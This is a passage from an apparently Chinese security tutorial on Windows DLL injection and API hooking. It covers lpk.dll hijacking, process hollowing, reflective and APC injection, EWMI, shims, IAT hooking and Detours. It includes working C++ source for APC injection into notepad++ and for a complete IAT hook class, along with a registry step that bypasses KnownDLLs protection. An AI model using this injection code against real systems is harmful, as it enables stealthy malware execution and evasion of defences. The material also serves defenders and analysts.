//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 導出函數 ALCDECL AheadLib_LpkPSMTextOut(void) { GetAddress("LpkPSMTextOut"); __asm JMP EAX; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 導出函數 ALCDECL AheadLib_LpkUseGDIWidthCache(void) { GetAddress("LpkUseGDIWidthCache"); __asm JMP EAX; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 導出函數 ALCDECL AheadLib_ftsWordBreak(void) { GetAddress("ftsWordBreak"); __asm JMP EAX; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// /* win7及win7以上系統增加了KnownDLLs保護,需要在注冊表 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\ExcludeFromKnownDlls 下添加 "lpk.dll" 才能順利劫持。 */
0x3:DLL劫持防御
1. 添加KnownDLL
HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Control\Session Manager\KnownDLL
該項下的子健代表了dll的名字,如果這里存在lpk.dll,則系統不會加載當前目錄下的lpk.dll,而是會去系統盤加載
Relevant Link:
http://drops.xmd5.com/static/drops/tips-9106.html http://www.yunsec.net/a/school/bdzs/fmuma/2013/0117/12276.html http://www.cnblogs.com/swyft/articles/5580342.html https://github.com/eric21/lpk http://www.cnblogs.com/goding/archive/2012/04/04/2431966.html http://gslab.qq.com/article-205-1.htm
6. 通過進程調試機制注入DLL
0x1:技術原理
系統載入一個被調試程序(debugger)的時候,會在被調試程序的地址空間准備完畢之后但被調試程序的主線程尚未開始執行任何代碼之前,自動通知調試器。
基於這種機制,調試器可以強制將一些代碼注入到被調試程序的地址空間中(例如使用writeprocessmemory),然后讓被調試程序的主線程去執行這些代碼。原理上類似於linux上的ptrace調試技術。
7. 基於CreateRemoteThread+WriteProcessMemory植入PE完整代碼實現動態PE代碼植入
0x1:技術原理
- 使用VirtualAllocEx在目標進程的地址空間中創建一塊內存空間
- 使用WriteProcessMemory,將一段shellcode地址寫入分配的內存,這里需要用到”dll反射技術“。這段shellcode由兩部分組成:
- 待注入的pe shellcode
- peloader:它不依賴於任何額外的Windows API(例如CreateRemoteThread或LoadLibrary),因為它們在內存中加載和執行自己
- 一旦DLL路徑寫入內存中,再使用CreateRemoteThread從被注入的Shellcode內存地址開始啟動
這種自加載的反射式dll注入技術更加隱蔽,相對於LoadLibrary注入的一個優點是惡意軟件不必在磁盤上放一個惡意DLL。
然而,這種方法的一個缺陷是目標基址的改變,當惡意軟件將其PE注入到另一個進程時,其會有一個新的不可預測的基址,這就要求其動態地重新計算PE的地址。為了解決這個問題,惡意軟件需要在宿主進程中找到其重定位表地址,並通過循環其重定位描述符來解析絕對地址。
8. 使用PROCESS HOLLOWING技術(PROCESS REPLACEMENT AND RUNPE)來注入代碼
惡意軟件可以利用Process Hollowing技術,將目標進程中的原始image section取消映射,並使用惡意可執行文件覆蓋目標進程的內存空間時,即所謂的Process Hollowing。
0x1:技術原理
- 父進程生成一個被掛起的子進程(正常進程,例如notepad),子進程啟動前會被掛起,將控制權交回給父進程。這是通過調用CreateProcess並將Process Creation Flag設置為CREATE_SUSPENDED(0×00000004)來完成的
- 新進程的主線程是在掛起狀態下創建的,並且在調用ResumeThread函數之前不會執行
- 接下來,惡意軟件需要使用惡意載荷交換合法文件的內容,這是通過調用ZwUnmapViewOfSection或NtUnmapViewOfSection來取消映射目標進程的內存完成的
- 此時目標進程(例如notepad)的對應內存區域處於未映射狀態
- 惡意軟件執行VirtualAllocEx在被注入進程中分配新內存,並使用WriteProcessMemory將惡意代碼的部(也可以是自身)分寫入目標進程空間
- 惡意軟件通過調用SetThreadContext將入口點指向它已編寫的新代碼段
- 后,惡意軟件通過調用ResumeThread恢復掛起的線程,使進程退出掛起狀態
9. APC DLL注入
0x1: 內核方式投遞APC
異步過程調用(APC)是NT異步處理體系結構中的一個基礎部分。Alertable IO(告警IO)提供了更有效的異步通知形式,當IO請求完成后,一旦線程進入可告警狀態,回調函數將會執行,也就是一個APC的過程.
線程進入告警狀態時,內核將會檢查線程的APC隊列,如果隊列中有APC,將會按FIFO方式依次執行。如果隊列為空,線程將會掛起等待事件對象。以后的某個時刻,一旦APC進入隊列,線程將會被喚醒執行APC.
APC注入的原理是利用當線程被喚醒時APC中的注冊函數會被執行的機制,並以此去執行我們的DLL加載代碼,進而完成DLL注入的目的,其具體流程如下:
- 當EXE里某個線程執行到SleepEx()或者WaitForSingleObjectEx()時,系統就會產生一個軟中斷。
- 當線程再次被喚醒時,此線程會首先執行APC隊列中的被注冊的函數。
- 利用QueueUserAPC()這個API可以在軟中斷時向線程的APC隊列插入一個函數指針,如果我們插入的是Loadlibrary()執行函數的話,就能達到注入DLL的目的。
1. 第一步: 打開目標進程獲得句柄 2. 第二步: 枚舉目標進程里面的線程得到線程ID HANDLE WINAPI CreateToolhelp32Snapshot( _In_ DWORD dwFlags,//snapshot包涵的內容 _In_ DWORD th32ProcessID//進程ID ),用來創建一個枚舉線程的快照。然后調用函數Thread32First和Thread32Next來循環枚舉線程 BOOL WINAPI Thread32First( _In_ HANDLE hSnapshot,//快照句柄 _Inout_ LPTHREADENTRY32 lpte//保存相關信息的結構體 ) BOOL WINAPI Thread32Next( _In_ HANDLE hSnapshot, _Out_ LPTHREADENTRY32 lpte )。 3. 第三步: 打開線程得到線程句柄 HANDLE WINAPI OpenThread( _In_ DWORD dwDesiredAccess,//打開權限 _In_ BOOL bInheritHandle,//子進程是否繼承該句柄 _In_ DWORD dwThreadId//線程ID ) 4. 第四步: 調用QueueUserAPC函數向枚舉到的每一個線程插入APC HANDLE WINAPI OpenThread( _In_ DWORD dwDesiredAccess,//打開權限 _In_ BOOL bInheritHandle,//子進程是否繼承該句柄 _In_ DWORD dwThreadId//線程ID )
0x2:代碼示例
1. 注入notepad++惡意軟件代碼

// apc-inject.cpp : 定義控制台應用程序的入口點。 // #include "stdafx.h" #include <windows.h> #include <TlHelp32.h> #include <vector> using std::vector; bool FindProcess(PCWSTR exeName, DWORD& pid, vector<DWORD>& tids) { auto hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0); if (hSnapshot == INVALID_HANDLE_VALUE) return false; pid = 0; PROCESSENTRY32 pe = { sizeof(pe) }; if (::Process32First(hSnapshot, &pe)) { do { if (_wcsicmp(pe.szExeFile, exeName) == 0) { pid = pe.th32ProcessID; THREADENTRY32 te = { sizeof(te) }; if (::Thread32First(hSnapshot, &te)) { do { if (te.th32OwnerProcessID == pid) { tids.push_back(te.th32ThreadID); } } while (::Thread32Next(hSnapshot, &te)); } break; } } while (::Process32Next(hSnapshot, &pe)); } ::CloseHandle(hSnapshot); return pid > 0 && !tids.empty(); } void main() { DWORD pid; vector<DWORD> tids; if (FindProcess(L"notepad++.exe", pid, tids)) { printf("OpenProcess\n"); HANDLE hProcess = ::OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid); printf("VirtualAllocEx\n"); auto p = ::VirtualAllocEx(hProcess, nullptr, 1 << 12, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); wchar_t buffer[] = L"c:\\test\\testDll.dll"; printf("WriteProcessMemory\n"); ::WriteProcessMemory(hProcess, p, buffer, sizeof(buffer), nullptr); for (const auto& tid : tids) { printf("OpenThread\n"); HANDLE hThread = ::OpenThread(THREAD_SET_CONTEXT, FALSE, tid); if (hThread) { printf("GetProcAddress\n"); # 任意一個DLL插入到進程執行的是用戶空間代碼,所以必須要使用LoadLibrayA加載才可訪問用戶地址空間 ::QueueUserAPC((PAPCFUNC)::GetProcAddress(GetModuleHandle(L"kernel32"), "LoadLibraryW"), hThread, (ULONG_PTR)p); } } printf("VirtualFreeEx\n"); ::VirtualFreeEx(hProcess, p, 0, MEM_RELEASE | MEM_DECOMMIT); } }
2. 被注入dll代碼

BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: MessageBox(NULL, NULL, NULL, 0); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
需要注意的一點是,從流程上看QueueUserAPC直接轉入了系統服務NtQueueApcThread,從而利用KeInsertQueueApc向給出的目標線程的APC隊列插入一APC對象。
倘若KiDeliverApc順利的去構造apc環境並執行我們的代碼那一切就OK了,但是沒有那么順利的事。
ApcState中UserApcPending是否為TRUE有重要的影響,結果往往是等了很久代碼還是沒得到執行,解決這個問題的方法有2個
- 把所有線程全都QueueUserAPC。但這樣做很影響目標進程效率
- 使用目標線程調用 SleepEx(.,TRUE),然后QueueUserAPC插入DLL。因為APC是異步過程調用,系統創建線程的時候會為線程創建一個APC隊列,當線程調用SleepEx,WaitSingleObjectEx等函數時,並把線程狀態被設置為可提醒狀態時,線程並不會睡眠,而是檢查APC隊列是否為空,如果不為空,轉去執行APC隊列中的每一項,因此給目標進程中的線程插入APC,就可以實現進程注入
Relevant Link:
http://gslab.qq.com/article-206-1.html http://www.pediy.com/kssd/pediy11/114648.html https://technet.microsoft.com/en-us/sysinternals/processexplorer.aspx https://github.com/3gstudent/Inject-dll-by-APC http://www.cnblogs.com/arsense/p/6427472.html http://www.programlife.net/apc-injection.html https://blog.csdn.net/qq125096885/article/details/50953716 https://blog.csdn.net/hades1996/article/details/9197755
10. ComRes DLL注入
ComRes注入的原理是利用Windows 系統中C:\WINDOWS\system32目錄下的ComRes.dll這個文件,當待注入EXE如果使用CoCreateInstance()這個API時,COM服務器會加載ComRes.dll到EXE中,我們利用這個加載過程,把ComRes.dll替換掉(DLL劫持技術),並在偽造的ComRes.dll,然后利用LoadLibrary()將事先准備好的DLL加載到目標的EXE中。
Relevant Link:
https://blog.csdn.net/u012108436/article/details/44535819
11. 通過SETWINDOWLONG進行附加窗口內存注入(EWMI)
EWMI依賴於注入資源管理器托盤窗口的額外窗口內存,注冊窗口類時,應用程序可以指定一些額外的內存字節,稱為額外窗口內存(EWM)。但是,EWM的空間不大。為了規避此限制,惡意軟件將代碼寫入explorer.exe的共享部分,並使用SetWindowLong和SendNotifyMessage使用指向shellcode的函數指針,然后執行它。
在寫入共享部分時,惡意軟件有兩種選擇,
- 它既可以創建共享空間
- 也可以將其映射到自身和另一個進程(例如explorer.exe)
- 也可以只打開已存在的共享空間
在惡意軟件將其shellcode寫入共享部分后,它使用GetWindowLong和SetWindowLong來訪問和修改“Shell_TrayWnd”的額外窗口內存。
GetWindowLong是一個API,用於將指定偏移量的32位值檢索到窗口類對象的額外窗口內存中。
SetWindowLong用於更改指定偏移量的值。
這樣一來,惡意軟件可以簡單地更改窗口類中的函數指針的偏移量,並將其指向寫入共享部分的shellcode。
與上面提到的大多數其他技術一樣,惡意軟件需要觸發它特制的代碼。在先前討論的技術中,惡意軟件通過調用諸如CreateRemoteThread,QueueUserAPC或SetThreadContext之類的API來實現此目的。使用此方法,惡意軟件會通過調用SendNotifyMessage來觸發注入的代碼。執行SendNotifyMessage后,Shell_TrayWnd接收控制並將控制轉移到之前由SetWindowLong設置的值指向的地址。
12. SHIMS注入
Microsoft向開發人員提供SHIMS主要是為了向后兼容。SHIMS允許開發人員將修補程序應用於他們的程序,而無需重寫代碼。
通過利用SHIMS,開發人員可以告訴操作系統如何處理應用程序。SHIMS本質上是一種掛鈎API並定位特定可執行文件的方法。惡意軟件可以利用SHIMS來定位持久性和注入的可執行文件。
Windows在加載二進制文件時運行Shim Engine以檢查SHIMS數據庫以應用適當的修復程序。
現在有許多方法應用修復程序,但惡意軟件的最愛是與安全相關的(例如,DisableNX,DisableSEH,InjectDLL等)。要安裝填充數據庫,惡意軟件可以部署各種方法。例如,一種常見的方法是簡單地執行sdbinst.exe,並將其指向惡意sdb文件。
13. IAT HOOKING
IAT hooking是惡意軟件用於更改導入地址表(import table)的技術。當合法應用程序調用位於DLL中的API時,其會執行替換的函數,而不是原始函數。
0x1:技術原理
我們知道,一個二進制模塊的導入段包含一組DLL,為了讓模塊能夠運行,這些DLL是必須的。
此外,導入段還包含一個符號表,其中列出了該模塊從各DLL中導入的符號。當該模塊調用另一個導入函數的時候,線程實際上會先從模塊的導入表中得到相應的導入函數的地址,然后再跳轉到那個地址。
因此,為了攔截一個特定的函數,我們需要修改它在模塊的導入段中的地址。
需要注意的是,通過修改模塊的導入段只能影響該模塊本身(常常是該主進程)的調用行為,而不影響其他進程,同時,該模塊地址空間中的DLL也不受影響,因為這些DLL有它們自己的導入段,它們並沒有被修改。如果想要捕獲所有模塊對執行函數的所有調用,必須對載入到地址空間中的每個模塊都進行導入段修改。
0x2:實現方案
1. ReplaceIATEntryInAllMods中遍歷模塊的框架

void CAPIHOOK::ReplaceIATEntryInAllMods(LPCTSTR pszExportMod, PROC pfnCurrent, PROC pfnNewFunc, BOOL bExcludeAPIHookMod) { //取得當前模塊句柄 HMODULE hModThis = NULL; if (bExcludeAPIHookMod) { MEMORY_BASIC_INFORMATION mbi; if (0 != ::VirtualQuery(ReplaceIATEntryInAllMods, &mbi, sizeof(MEMORY_BASIC_INFORMATION))) //ReplaceIATEntryInAllMods必須為類的static函數 { hModThis = (HMODULE)mbi.AllocationBase; } } //取得本進程的模塊列表 HANDLE hModuleSnap = INVALID_HANDLE_VALUE; MODULEENTRY32 me32; hModuleSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetCurrentProcessId()); if (INVALID_HANDLE_VALUE == hModuleSnap) { return; } me32.dwSize = sizeof( MODULEENTRY32 ); if( !Module32First( hModuleSnap, &me32 ) ) { return; } do { //對每一個模塊 if (me32.hModule != hModThis) { ReplaceIATEntryInOneMod(pszExportMod, pfnCurrent, pfnNewFunc, me32.hModule); } } while( Module32Next( hModuleSnap, &me32 ) ); ::CloseHandle(hModuleSnap); //配對寫 }
2. 遍歷鏈表摘除自己(恢復被Hook導入函數)的框架

CAPIHOOK::~CAPIHOOK(void) { //取消對函數的HOOK ReplaceIATEntryInAllMods(m_pszModName, m_pfnHook, m_pfnOrig, TRUE); //把自己從鏈表中刪除 CAPIHOOK* p = sm_pHeader; if (p == this) { sm_pHeader = this->m_pNext; } else { while(p != NULL) { if (p->m_pNext == this) { p->m_pNext = this->m_pNext; break; } p = p->m_pNext; } } }
3. ReplaceIATEntryInOneMod
使用IAT Hook劫持技術,需要額外處理幾個特殊的情況
- 如果一個線程在我們調用了ReplaceIATEntryInAllMods之后調用LoadLibrary來動態載入一個新的DLL,這種情況下,新載入的DLL並沒有被IAT替換。因此我們需要攔截LoadLibraryA、LoadLibraryW、LoadLibraryExA、LoadLibraryExW函數,這樣我們就能夠捕獲這些調用,並為新載入的模塊調用ReplaceIATEntryInAllMod。之所以要用All,是因為新載入的DLL可能有靜態依賴其他DLL,這些靜態依賴的DLL不會觸發我們的LoadLibrary..系列函數
- 假如目標模塊使用GetProcAddress動態調用函數,程序流也不會到IAT這里,因此我們需要對GetProcAddress進行單獨的Hook處理
## .cpp

#include "APIHOOK.h" #include <Tlhelp32.h> CAPIHOOK *CAPIHOOK::sm_pHeader = NULL; CAPIHOOK CAPIHOOK::sm_LoadLibraryA("kernel32.dll", "LoadLibraryA", (PROC)CAPIHOOK::LoadLibraryA, TRUE); CAPIHOOK CAPIHOOK::sm_LoadLibraryW("kernel32.dll", "LoadLibraryW", (PROC)CAPIHOOK::LoadLibraryW, TRUE); CAPIHOOK CAPIHOOK::sm_LoadLibraryExA("kernel32.dll", "LoadLibraryExA", (PROC)CAPIHOOK::LoadLibraryExA, TRUE); CAPIHOOK CAPIHOOK::sm_LoadLibraryExW("kernel32.dll", "LoadLibraryExW", (PROC)CAPIHOOK::LoadLibraryExW, TRUE); CAPIHOOK CAPIHOOK::sm_GetProcAddress("kernel32.dll", "GetProcAddress", (PROC)CAPIHOOK::GetProcess, TRUE); CAPIHOOK::CAPIHOOK(LPTSTR lpszModName, LPSTR pszFuncName, PROC pfnHook, BOOL bExcludeAPIHookMod) { //初始化變量 m_pszModName = lpszModName; m_pszFuncName = pszFuncName; m_pfnOrig = ::GetProcAddress(::GetModuleHandleA(lpszModName), pszFuncName); m_pfnHook = pfnHook; //將此對象加入鏈表中 m_pNext = sm_pHeader; sm_pHeader = this; //在當前已加載的模塊中HOOK這個函數 ReplaceIATEntryInAllMods(lpszModName, m_pfnOrig, m_pfnHook, bExcludeAPIHookMod); } CAPIHOOK::~CAPIHOOK(void) { //取消對函數的HOOK ReplaceIATEntryInAllMods(m_pszModName, m_pfnHook, m_pfnOrig, TRUE); //把自己從鏈表中刪除 CAPIHOOK* p = sm_pHeader; if (p == this) { sm_pHeader = this->m_pNext; } else { while(p != NULL) { if (p->m_pNext == this) { p->m_pNext = this->m_pNext; break; } p = p->m_pNext; } } } //防止程序運行期間動態加載模塊 void CAPIHOOK::HookNewlyLoadedModule(HMODULE hModule, DWORD dwFlags) { if (hModule!=NULL && (dwFlags&LOAD_LIBRARY_AS_DATAFILE)==0) { CAPIHOOK* p = sm_pHeader; //循環遍歷鏈表,對每個CAPIHOOK進入HOOK if (p != NULL) { ReplaceIATEntryInOneMod(p->m_pszModName, p->m_pfnOrig, p->m_pfnHook, hModule); p = p->m_pNext; } } } //防止程序運行期間動態調用API函數 FARPROC WINAPI CAPIHOOK::GetProcess(HMODULE hModule, PCSTR pszProcName) { //得到函數的真實地址 FARPROC pfn = ::GetProcAddress(hModule, pszProcName); //遍歷列表 看是不是要HOOK的函數 CAPIHOOK* p = sm_pHeader; while(p != NULL) { if (p->m_pfnOrig == pfn) //是要HOOK的函數 { pfn = p->m_pfnHook; //HOOK掉 break; } p = p->m_pNext; } return pfn; } void CAPIHOOK::ReplaceIATEntryInOneMod(LPCTSTR pszExportMod, PROC pfnCurrent, PROC pfnNewFunc, HMODULE hModCaller) { IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)hModCaller; IMAGE_OPTIONAL_HEADER* pOpNtHeader = (IMAGE_OPTIONAL_HEADER*)((BYTE*)hModCaller + pDosHeader->e_lfanew + 24); //這里加24 IMAGE_IMPORT_DESCRIPTOR* pImportDesc = (IMAGE_IMPORT_DESCRIPTOR*)((BYTE*)hModCaller + pOpNtHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); BOOL bFindDll = FALSE; while (pImportDesc->FirstThunk) { char* pszDllName = (char*)((BYTE*)hModCaller + pImportDesc->Name); if (stricmp(pszDllName, pszExportMod) == 0)//如果找到pszExportMod模塊,相當於hook messageboxa時的“user32.dll” { bFindDll = TRUE; break; } pImportDesc++; } if (bFindDll) { DWORD n = 0; //一個IMAGE_THUNK_DATA就是一個導入函數 IMAGE_THUNK_DATA* pThunk = (IMAGE_THUNK_DATA*)((BYTE*)hModCaller + pImportDesc->OriginalFirstThunk); while (pThunk->u1.Function) { //取得函數名稱 char* pszFuncName = (char*)((BYTE*)hModCaller+pThunk->u1.AddressOfData+2); //函數名前面有兩個.. //printf("function name:%-25s, ", pszFuncName); //取得函數地址 PDWORD lpAddr = (DWORD*)((BYTE*)hModCaller + pImportDesc->FirstThunk) + n; //從第一個函數的地址,以后每次+4字節 //printf("addrss:%X\n", lpAddr); //在這里是比較的函數地址 if (*lpAddr == (DWORD)pfnCurrent) //找到iat中的函數地址 { DWORD* lpNewProc = (DWORD*)pfnNewFunc; MEMORY_BASIC_INFORMATION mbi; DWORD dwOldProtect; //修改內存頁的保護屬性 ::VirtualQuery(lpAddr, &mbi, sizeof(MEMORY_BASIC_INFORMATION)); ::VirtualProtect(lpAddr, sizeof(DWORD), PAGE_READWRITE, &dwOldProtect); ::WriteProcessMemory(GetCurrentProcess(), lpAddr, &lpNewProc, sizeof(DWORD), NULL); ::VirtualProtect(lpAddr, sizeof(DWORD), dwOldProtect, NULL); return; } n++; //每次增加一個DWORD } } } void CAPIHOOK::ReplaceIATEntryInAllMods(LPCTSTR pszExportMod, PROC pfnCurrent, PROC pfnNewFunc, BOOL bExcludeAPIHookMod) { //取得當前模塊句柄 HMODULE hModThis = NULL; if (bExcludeAPIHookMod) { MEMORY_BASIC_INFORMATION mbi; if (0 != ::VirtualQuery(ReplaceIATEntryInAllMods, &mbi, sizeof(MEMORY_BASIC_INFORMATION))) //ReplaceIATEntryInAllMods必須為類的static函數 { hModThis = (HMODULE)mbi.AllocationBase; } } //取得本進程的模塊列表 HANDLE hModuleSnap = INVALID_HANDLE_VALUE; MODULEENTRY32 me32; hModuleSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetCurrentProcessId()); if (INVALID_HANDLE_VALUE == hModuleSnap) { return; } me32.dwSize = sizeof( MODULEENTRY32 ); if( !Module32First( hModuleSnap, &me32 ) ) { return; } do { //對每一個模塊 if (me32.hModule != hModThis) { ReplaceIATEntryInOneMod(pszExportMod, pfnCurrent, pfnNewFunc, me32.hModule); } } while( Module32Next( hModuleSnap, &me32 ) ); ::CloseHandle(hModuleSnap); //配對寫 } //防止自動加載 HMODULE WINAPI CAPIHOOK::LoadLibraryA(LPCTSTR lpFileName) { HMODULE hModule = LoadLibraryA(lpFileName); HookNewlyLoadedModule(hModule, 0); //這個函數中憶檢測hModule 了 return hModule; } HMODULE WINAPI CAPIHOOK::LoadLibraryW(LPCTSTR lpFileName) { HMODULE hModule = LoadLibraryW(lpFileName); HookNewlyLoadedModule(hModule, 0); //這個函數中憶檢測hModule 了 return hModule; } HMODULE WINAPI CAPIHOOK::LoadLibraryExA(LPCTSTR lpFileName, HANDLE hFile, DWORD dwFlags) { HMODULE hModule = LoadLibraryExA(lpFileName, hFile, dwFlags); HookNewlyLoadedModule(hModule, dwFlags); //這個函數中憶檢測hModule 了 return hModule; } HMODULE WINAPI CAPIHOOK::LoadLibraryExW(LPCTSTR lpFileName, HANDLE hFile, DWORD dwFlags) { HMODULE hModule = LoadLibraryExW(lpFileName, hFile, dwFlags); HookNewlyLoadedModule(hModule, dwFlags); //這個函數中憶檢測hModule 了 return hModule; }
## .h

#pragma once #include <Windows.h> class CAPIHOOK { public: CAPIHOOK(LPTSTR lpszModName, LPSTR pszFuncName, PROC pfnHook, BOOL bExcludeAPIHookMod = TRUE); ~CAPIHOOK(void); private: static void ReplaceIATEntryInOneMod(LPCTSTR pszExportMod, PROC pfnCurrent, PROC pfnNewFunc, HMODULE hModCaller); static void ReplaceIATEntryInAllMods(LPCTSTR pszExportMod, PROC pfnCurrent, PROC pfnNewFunc, BOOL bExcludeAPIHookMod); //防止程序運行期間動態加載模塊, 當一個新DLL被加載時調用 static void HookNewlyLoadedModule(HMODULE hModule, DWORD dwFlags); //跟蹤當前進程加載新的DLL static HMODULE WINAPI LoadLibraryA(LPCTSTR lpFileName); static HMODULE WINAPI LoadLibraryW(LPCTSTR lpFileName); static HMODULE WINAPI LoadLibraryExA(LPCTSTR lpFileName, HANDLE hFile, DWORD dwFlags); static HMODULE WINAPI LoadLibraryExW(LPCTSTR lpFileName, HANDLE hFile, DWORD dwFlags); //防止程序運行期間動態調用API函數 對於請求已HOOK的API函數,返回用戶自定義的函數地址 static FARPROC WINAPI GetProcess(HMODULE hModule, PCSTR pszProcName); private: //定義成靜態的,會自動調用,從而實現自動HOOK static CAPIHOOK sm_LoadLibraryA; static CAPIHOOK sm_LoadLibraryW; static CAPIHOOK sm_LoadLibraryExA; static CAPIHOOK sm_LoadLibraryExW; static CAPIHOOK sm_GetProcAddress; private: static CAPIHOOK* sm_pHeader; //鈎子鏈表 CAPIHOOK* m_pNext; //要鈎子的函數 PROC m_pfnOrig; PROC m_pfnHook; //要鈎子的函數所在的dll LPSTR m_pszModName; //要鈎子的函數名稱 LPSTR m_pszFuncName; };
Relevant Link:
https://www.freebuf.com/articles/system/187239.html
14. Detours - 一種實現Inline Hook的框架
0x1:inline hook技術原理
- 在內存中對要攔截的函數(假設是Kernel32.dll中的ExitProcess)進行定位,從而得到它的的內存地址
- 把這個函數起始的幾個字節保存在我們自己的內存中
- 用CPU的一條JUMP指令來覆蓋這個函數起始的幾個字節,這條JUMP指令用來跳轉到我們的替代函數的內存地址。當然,我們的替代函數的函數簽名(參數)必須與要攔截的函數的函數簽名完全相同,這包括
- 所有的參數必須相同
- 返回值必須相同
- 調用約定也必須相同
- 現在,當線程調用被攔截函數(hook function)的時候,跳轉指令實際上會跳轉到我們的替代函數。這時,我們就可以執行自己想要執行的任何代碼
- 為了撤銷對函數的攔截,我們必須把(第二步)保存下來的自己放回被攔截函數起始的幾個字節中。回滾之后,我們調用被攔截函數現在已經不再對它進行攔截了,讓該函數執行它的正常處理
需要注意的是,這種方法存在一些不足:
- 它對CPU有依賴性;x86、x64、IA-64以及其他CPU的JUMP指令各不相同,為了讓這種方法能夠工作,我們必須手工編寫機器指令
- 這種方法在搶占式、多線程環境下無法工作。一個線程覆蓋另一個函數起始位置的代碼是需要時間的,在這個過程中,另一個線程可能試圖調用同一個函數,其結果可能是災難性的
0x2:Detours
Detours是一個在x86平台上截獲任意Win32函數調用的工具庫。中斷代碼可以在運行時動態加載。
Detours使用一個無條件轉移指令來替換目標函數的最初幾條指令,將控制流轉移到一個用戶提供的截獲函數。而目標函數中的一些指令被保存在一個被稱為“trampoline” (譯注:英文意為蹦床,雜技)的函數中,在這里我覺得翻譯成目標函數的部分克隆/拷貝比較貼切。
這些指令包括目標函數中被替換的代碼以及一個重新跳轉到目標函數的無條件分支。而截獲函數可以替換目標函數,或者通過執行“trampoline”函數的時候將目標函數作為子程序來調用的辦法來擴展功能。
Detours定義了三個概念:
- Target函數:要攔截的函數,通常為Windows的API
- Trampoline函數:Target函數的部分復制品。因為Detours將會改寫Target函數,所以先把Target函數的前5個字節復制保存好,一方面仍然保存Target函數的過程調用語義,另一方面便於以后的恢復。
- Detour函數:用來替代Target函數的函數。
Detours在Target函數的開頭加入JMP Address_of_ Detour_ Function指令(共5個字節)把對Target函數 的調用引導到自己的Detour函數, 把Target函數的開頭的5個字節加上JMP Address_of_ Target _ Function+ 5共10個字節作為Trampoline函數
Detour函數的調用過程;
1. 目標函數: 目標函數的函數體(二進制)至少有5個字節以上。按照微軟的說明文檔Trampoline函數的函數體是拷貝前5個字節加一個無條件跳轉指令的話(如果沒 有特殊處理不可分割指令的話),那么前5個字節必須是完整指令,也就是不能第5個字節和第6個字節是一條不可分割的指令,否則會造成Trampoline 函數執行錯誤,一條完整的指令被硬性分割開來,造成程序崩潰。對於第5字節和第6個字節是不可分割指令需要調整拷貝到雜技函數(Trampoline)的 字節個數,這個值可以查看目標函數的匯編代碼得到。此函數是目標函數的修改版本,不能在Detour函數中直接調用,需要通過對Trampoline函數 的調用來達到間接調用 2. Trampoline函數: 此函數默認分配了32個字節,函數的內容就是拷貝的目標函數的前5個字節,加上一個JMP Address_of_ Target _ Function+5指令,共10個字節。 此函數僅供您的Detour函數調用,執行完前5個字節的指令后再絕對跳轉到目標函數的第6個字節繼續執行原功能函數 3. Detour函數: 此函數是用戶需要的截獲API的一個模擬版本,調用方式,參數個數必須和目標函數相一致。如目標函數是__stdcall,則Detour函數聲明也必須 是__stdcall,參數個數和類型也必須相同,否則會造成程序崩潰。此函數在程序調用目標函數的第一條指令的時候就會被調用(無條件跳轉過來的)。 如果在此函數中想繼續調用目標函數,必須調用Trampoline函數(Trampoline函數在執行完目標函數的前5個字節的指令后會無條件跳轉到目標 函數的5個字節后繼續執行),不能再直接調用目標函數,否則將進入無窮遞歸(目標函數跳轉到Detour函數,Detour函數又跳轉到目標函數的遞歸, 因為目標函數在內存中的前5個字節已經被修改成絕對跳轉)(無條件跳轉)。通過對Trampoline函數的調用后可以獲取目標函數的執行結果,此特性對分析目標函數非常有用,而且可以將目標函數的輸出結果進行修改后再傳回給應用程序 基於Detour封裝的Hook框架,省去了我們處理call old function的麻煩
在進行inline hook的時候,要特別注意多核CPU在hook replace過程中的影響,因為多個線程有可能"同時"調用同一個函數地址,為了解決這個問題,一個好的做法是在inline hook的過程中,把當前進程的所有線程都掛起。通過CreateToolhelp32Snapshot和SuspendThread的配合,在完成inline hook后再恢復線程
0x3:代碼示例
detours下載地址
http://research.microsoft.com/en-us/downloads/d36340fb-4d3c-4ddd-bf5b-1db25d03713d/default.aspx http://pan.baidu.com/s/1eQEijtS
編譯Detours工程
打開VS20xx命令行工具,進入src目錄,x86命令行和x64命令行編譯出來的分別是32bit和64bit的detours lib
使用nmake(linux下是make)命令編譯生成靜態庫
在lib.x86目錄下的.lib文件是win32平台下的靜態庫文件
在include目錄下的是Detours工程的頭文件
接下來要確定我們要攔截目標進程中的哪個函數api,我們這里用IDA Pro查看一下Xenos.exe
我們選擇WriteFile這個API作為劫持目標
用於劫持的dll代碼,注意:需要保存為.c文件,或者加上extern C,因為detours是使用C語言實現的,表示代碼使用C的規則進行編譯

